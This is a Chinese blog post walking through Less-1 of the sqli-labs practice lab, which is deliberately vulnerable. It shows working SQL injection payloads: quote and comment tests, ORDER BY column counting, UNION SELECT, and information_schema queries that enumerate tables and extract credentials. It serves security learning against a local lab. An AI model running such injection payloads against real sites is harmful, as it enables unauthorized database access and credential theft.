SQL注入之sqli-labs-master Less-1详解

本文通过实例讲解如何进行SQL注入攻击,包括读题理解、寻找注入点、爆破数据库等步骤,并介绍了一些常用的SQL注入技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.读题

一开始是这个界面,提示输入id,这里能够输入的地方只有http请求里边,所以输入:

http://localhost./sqll/sqli-labs-master/Less-1/?id=1试一下,?id=1是httpget方法的格式。然后:

得到密码,当把id换成2,3,4都可以得到对应password。但是要实现查询各种信息还不行。接下来找注入点

2.找注入点

id=1在数据库的存储形式大概是要么直接id=1或者id='1'或者id="1"

测试一下id=1'

出错

id=1"呢?

没问题,基本可以确定就是id='1'这种格式

那么我们就验证一下:输入http://localhost./sqll/sqli-labs-master/Less-1/?id=1‘%23

#号是注释符,在url编码中是%23(%+对应字符的ASCII值的十六进制数)

这是因为我们输入了一个单引号所以如果把后边一个引号注释掉就可以存在db里了,格式在数据库里变为   id='1'#'

果然正确

3.爆数据库

使用order判断该表有几列,并且哪一列会输出

当order by 4的时候提示错误,说明该表有3行。

3.使用union爆数据库

http://localhost./sqll/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,3%23

易知是 2,3列可以输出

然后就是你大展身手的时候了,不过有以下知识让你更容易拿到username和password

4.常用姿势

database()  //当前网站使用的数据库
version()   //当前MySQL的版本
user()     //当前MySQL的用户

url编码: 空格是%20,单引号是%27, 井号是%23,双引号是%22

ysql>5.0会有information_schema数据库
表:
SCHEMATA:存所有数据库库名 (SCHEMA_NAME)
TABLES:  存用户创建的数据库库名(TABLE_SCHEMA)和表名(TABLE_NAME)
COLUMNS: 存用户创建的所有数据库的库名(TABLE_SCHEMA),表名(TABLE_NAME), 字段名(COLUMN_NAME)

limit 0,5       //从第0行开始,显示5行,当然这里第二个数字没有意义,只能显示一行,所以改变第一个数字吧

如:

?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='security'%20 limit 3,1%23

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不要绝望总会慢慢变强

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值